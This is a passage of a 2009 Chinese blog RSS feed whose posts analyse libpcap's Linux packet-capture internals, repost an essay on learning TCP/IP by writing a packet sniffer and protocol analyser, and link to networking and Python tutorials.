<img src ="http://www.blogjava.net/shiliqiang/aggbug/286154.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/shiliqiang/" target="_blank">石头@</a> 2009-07-09 22:01 <a href="http://www.blogjava.net/shiliqiang/articles/286154.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>libpcap的浅析</title><link>http://www.blogjava.net/shiliqiang/articles/285598.html</link><dc:creator>石头@</dc:creator><author>石头@</author><pubDate>Sun, 05 Jul 2009 14:26:00 GMT</pubDate><guid>http://www.blogjava.net/shiliqiang/articles/285598.html</guid><wfw:comment>http://www.blogjava.net/shiliqiang/comments/285598.html</wfw:comment><comments>http://www.blogjava.net/shiliqiang/articles/285598.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/shiliqiang/comments/commentRss/285598.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/shiliqiang/services/trackbacks/285598.html</trackback:ping><description><![CDATA[libpcap体现的不是捕捉技术上的难点，而是对细节的控制上，对跨平台代码的编写上，对过滤机制的优化上。 <br />
大象的命门是在脚筋，也就是支撑的地方。 很显然，得先对接口的流动和他的数据结构有个了解。而且在这套库里面看到了好多人的代码和自己的功能说明，感觉着一种合作开放的精神。 <br />
剪枝删节，将其中linux部分提了出来，涉及到的文件大概有： <br />
&nbsp;&nbsp;&nbsp; inet.c&nbsp; fad-getad.c pcap-linux.c pcap-int.h pcap.c <br />
整个的大概结构是，查找设备，确定设备，过滤条件的嵌入，套接字的创建，网卡的设置，包的捕获。 <br />
<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; 查找设备:用到的函数有pcap_lookupdev()-pcap_findalldevs()-getifaddrs()-add_addr_to_iflist()//inet.c fad_getad.c <br />
该函数是将所找到的设备信息用连表连接起来，设备号小的在前，因此通常是eth0. <br />
数据结构为struct pcap_if{},//pcap.h <br />
<br />
<br />
&nbsp;&nbsp;&nbsp; 打开网络设备：2。0以后的linux内核版本用新的协议簇PF_PACKET来实现。早期是(SOCK_PACKET)他的形式可以是SOCK_RAW和SOCK_DGRAM。RAW是原始数据，DGRAM是对数据包进行加工，把数据包的链路层头部去掉，使用sockaddr_ll来保存。在两种情况下RAW不可用：某些类型设备数据链路层头部不可用，当捕捉为any时，为了是包过滤机制在所有类型数据包上正常工作，要求所有数据使用相同数据链路头部。 <br />
&nbsp;&nbsp;&nbsp; pcap-linux.c <br />
&nbsp;&nbsp;&nbsp; pcap_open_live()；用到的数据结构是pcap_t,//pcap-int.h,这是一个比较重要的参数，主要包括对socket的描述，和一些底层上的设置。比如缓冲区大小，设备类型，边界对齐等，对应的函数指针，可更改的链路数，BPF过滤代码是否能使用等。 <br />
&nbsp;&nbsp; pcap_stat stat;//pcap.h,捕捉状态结构，包括是否过滤，接受包的数目，丢弃的数目等。 <br />
&nbsp;&nbsp; 在函数内部有new和old两种版本，分别对2.0前后的版本创建socket.而在其内部的选择上，又涉及到对是否支持链路层头部结构的判断，最后将网卡设为混杂模式，创建socket <br />
&nbsp;&nbsp; 在这一层中，libpcap提供的用户程序接口是pcap_next()//pcap.c，通过跟踪可发现，它最后是调用pcap_read_packet//pcap-linux.c接收。接收完后做的工作如下：偏移量设置，为了给伪数据链路层留出空间，接着要修正长度，判断是否有用内核级的包过滤，最后填充捕获时间/长度/时间，对包数据累加。 <br />
<br />
&nbsp;&nbsp; 完成以上两个步骤，发现最关键两个步骤就是找设备的函数，和socket的创建。但是通过查看源代码可知，作者在跨平台，细节处理，包通用的完善性上做了很多很多的工作，这无一不给我们提供了一个很好的学习尺度。 <br />
<br />
&nbsp;&nbsp; 接下来是对过滤机制的描述： <br />
这个我想是最有难点的地方了，一些算法不做描述，查看pcap-bpf.h,gencode.c,optimize.c,grammar,c,scanner.c <br />
用到的特性有这么几个：因为在捕捉时，是先经过捕捉，然后把控制权再给数据链路，这样就直接在内核缓冲内进行过滤。而在算法是上使用BPF包过滤机制，算法上很复杂，使用伪机器码的方式，类似于汇编语言。如果是以后做到类似多重判断跳转之类的可以参考里面的无环控制流图CFG的实现. <br />
&nbsp;&nbsp;&nbsp; 个人认为该库很大一部分研究价值除了跨平台编写，还有就是对linux底层过滤器的调用使用。
<img src ="http://www.blogjava.net/shiliqiang/aggbug/285598.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/shiliqiang/" target="_blank">石头@</a> 2009-07-05 22:26 <a href="http://www.blogjava.net/shiliqiang/articles/285598.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>网络协议的学习方法</title><link>http://www.blogjava.net/shiliqiang/articles/285582.html</link><dc:creator>石头@</dc:creator><author>石头@</author><pubDate>Sun, 05 Jul 2009 12:50:00 GMT</pubDate><guid>http://www.blogjava.net/shiliqiang/articles/285582.html</guid><wfw:comment>http://www.blogjava.net/shiliqiang/comments/285582.html</wfw:comment><comments>http://www.blogjava.net/shiliqiang/articles/285582.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/shiliqiang/comments/commentRss/285582.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/shiliqiang/services/trackbacks/285582.html</trackback:ping><description><![CDATA[一个前辈写的自己学习网路协议的方法，感觉挺好的，转载于此：<br />
<br />
<p>&nbsp;网络这东西就是一个靠实践的东西，只靠看书是不行的。当年在学校还上过史美林教授/张公忠教授所讲的计算机网络体系结构课，用的是Tanabaum写的那本，考试还得了九十多分，可实际还是连TCP和UDP有什么区别都分不清，就是死记背，到毕业的时候基本上是忘光了，工作后等于重新来过。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 上班了要在Linux做一些底层的网络处理，不得不从头来学Linux和网络，编程部分主要看Richard Stevens的那几本书：APUE、UNP、TCP/IP Illustraion等，学Linux则看得很杂，市面上各种Linux入门书大都翻了一遍，俺是习惯在书店里看书，爱看书而不爱买书，汗，，然后就是去各大BBS、论坛把他们的精华区都下载下来狂看，边看边实践，基本上在一个月内熟悉了Linux的操作。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 学网络协议刚开始也是看书，但看了之后没多少印象，那些东西靠死记真是没法记的，后来找到一个好办法，就是自己写个sniffer，自己写个协议分析器，先学怎么抓包，就看tcpdump的源码，然后看libpcap的源码，知道了什么是网卡的混杂模式，很快就能抓到网卡上包的。接下来就是对包进行分析，就看作TCP/IP Illustraion，从以太头、ARP/IP、ICMP/IGMP/TCP/UDP、HTTP/FTP/TELNET/SMTP等这么一点一点、一个字段一个字段分析下来，很快就明白了所谓TCP/IP到底是怎么回事。另外为了学TCP状态转换表，根据所抓的包的TCP标志分析通信双方当前是什么状态，刚开始还只能从头一方发SYN包开始分析，到后来是可从连接中间包如手就能逐渐判断双方的TCP状态，基本上是彻底搞清楚了TCP的状态转移是怎么回事，后来再理解防火墙的状态检测原理就很容易了。另外在分析过程中，为彻底掌握IP碎片，还特地ping大包来抓，把抓上来的包自己重组，搞明白了IP头的碎片offset字段是怎么用的。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 能抓包后进而又开始学如何自己构造包来&#8220;干扰&#8221;正常通信了，开始是学怎么发TCP的RST包来切断一个正常的TCP连接，就的学会如何计算IP头校验和，TCP校验和，知道了算TCP校验和时必须加IP伪头数据，然后是正确计算序列号和确认号，知道了原来SYN和FIN标志也是算一位的，最重要的是理解了什么是网络序什么是主机序，现在基本把ntohs(l),htons(l)处理都成了一种编程的本能意识了。学会用RST切断TCP后，进一步实现了直接发一个页面信息告诉客户端访问了非法信息，也就是以后实现URL过滤时客户端显示的拒绝画面。后来也学发ARP信息胡乱通告MAC地址，也就是以前写的那篇ARP攻击的由来。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 后来俺写的这个协议分析器逐步完善，能解析的就解析，不能解析的就打印出16进制数，可打印字符也打印出来，对HTTP、FTP、POP3、SMTP这些文本协议几乎就一下看明白了，对于非文本协议，如DNS，也根据协议解析了出来，而且解析DNS时不得不用了我一向不爱用的递归方法来编程。随着网络应用的增加，在用到前都先作协议解析，除了各种TCP、UDP的协议，还增加了BPDU、PPPOE、OSPF、ESP、AH、IKE等的解析处理，现在俺的协议分析器也可以分析上百种协议，平时抓包就只用俺这个，TCPDUMP基本不再用了，毕竟自己写的自己更清楚，如果有不能解析的再现加进去。现在学新协议时，往往先抓包看看协议的基本数据格式，再看RFC了解细节。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 学协议刚开始是看书，到后来要更深入了解或追询最新发展情况就只能看RFC了，毕竟网络的东西变化太快，书的东西只能算入门，说不定很快就出新的了，到现在也看了数百篇的RFC了。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 通过编程分析来学协议，慢是慢了点，花了一个多月的时间，但感觉学得扎实，正所谓磨刀不误砍柴功，而且一通百通。到现在虽然已经好几年了，IP头，TCP头有哪些字段还是一下就可以说得出来，对理解各种网络攻击原理从而进行防范更是有帮助，我觉得对我来说这种方法是很有效，如果哪位觉得有更有效的学习方法，可以共同交流一下。</p>
<p>出处：http://blog.csdn.net/eroswang/archive/2008/10/02/3008146.aspx</p>
<img src ="http://www.blogjava.net/shiliqiang/aggbug/285582.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/shiliqiang/" target="_blank">石头@</a> 2009-07-05 20:50 <a href="http://www.blogjava.net/shiliqiang/articles/285582.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>高性能网络编程，第 2 部分: 加快客户机和服务器的处理速度</title><link>http://www.blogjava.net/shiliqiang/articles/285536.html</link><dc:creator>石头@</dc:creator><author>石头@</author><pubDate>Sun, 05 Jul 2009 02:25:00 GMT</pubDate><guid>http://www.blogjava.net/shiliqiang/articles/285536.html</guid><wfw:comment>http://www.blogjava.net/shiliqiang/comments/285536.html</wfw:comment><comments>http://www.blogjava.net/shiliqiang/articles/285536.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/shiliqiang/comments/commentRss/285536.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/shiliqiang/services/trackbacks/285536.html</trackback:ping><description><![CDATA[<h1>http://www.ibm.com/developerworks/cn/aix/library/au-highperform2/index.html#resources<br />
</h1>
<img src ="http://www.blogjava.net/shiliqiang/aggbug/285536.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/shiliqiang/" target="_blank">石头@</a> 2009-07-05 10:25 <a href="http://www.blogjava.net/shiliqiang/articles/285536.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>高性能网络编程，第 1 部分: 最大程度地利用您的网络资源</title><link>http://www.blogjava.net/shiliqiang/articles/285535.html</link><dc:creator>石头@</dc:creator><author>石头@</author><pubDate>Sun, 05 Jul 2009 02:24:00 GMT</pubDate><guid>http://www.blogjava.net/shiliqiang/articles/285535.html</guid><wfw:comment>http://www.blogjava.net/shiliqiang/comments/285535.html</wfw:comment><comments>http://www.blogjava.net/shiliqiang/articles/285535.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/shiliqiang/comments/commentRss/285535.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/shiliqiang/services/trackbacks/285535.html</trackback:ping><description><![CDATA[http://www.ibm.com/developerworks/cn/aix/library/au-highperform1/?S_TACT=105AGX52&amp;S_CMP=tut-cto<br />
<img src ="http://www.blogjava.net/shiliqiang/aggbug/285535.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/shiliqiang/" target="_blank">石头@</a> 2009-07-05 10:24 <a href="http://www.blogjava.net/shiliqiang/articles/285535.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>开始工具python</title><link>http://www.blogjava.net/shiliqiang/articles/285531.html</link><dc:creator>石头@</dc:creator><author>石头@</author><pubDate>Sun, 05 Jul 2009 02:07:00 GMT</pubDate><guid>http://www.blogjava.net/shiliqiang/articles/285531.html</guid><wfw:comment>http://www.blogjava.net/shiliqiang/comments/285531.html</wfw:comment><comments>http://www.blogjava.net/shiliqiang/articles/285531.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/shiliqiang/comments/commentRss/285531.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/shiliqiang/services/trackbacks/285531.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 工具地址：www.python.org 然后花点时间学习一下去语法：Python基础篇整理：Jims of 肥肥世家&lt;jims.yang@gmail.com&gt;Copyright &#169; 2004，2005，2006 本文遵从GNU 的自由文档许可证(Free Document License)的条款，欢迎...&nbsp;&nbsp;<a href='http://www.blogjava.net/shiliqiang/articles/285531.html'>阅读全文</a><img src ="http://www.blogjava.net/shiliqiang/aggbug/285531.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/shiliqiang/" target="_blank">石头@</a> 2009-07-05 10:07 <a href="http://www.blogjava.net/shiliqiang/articles/285531.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>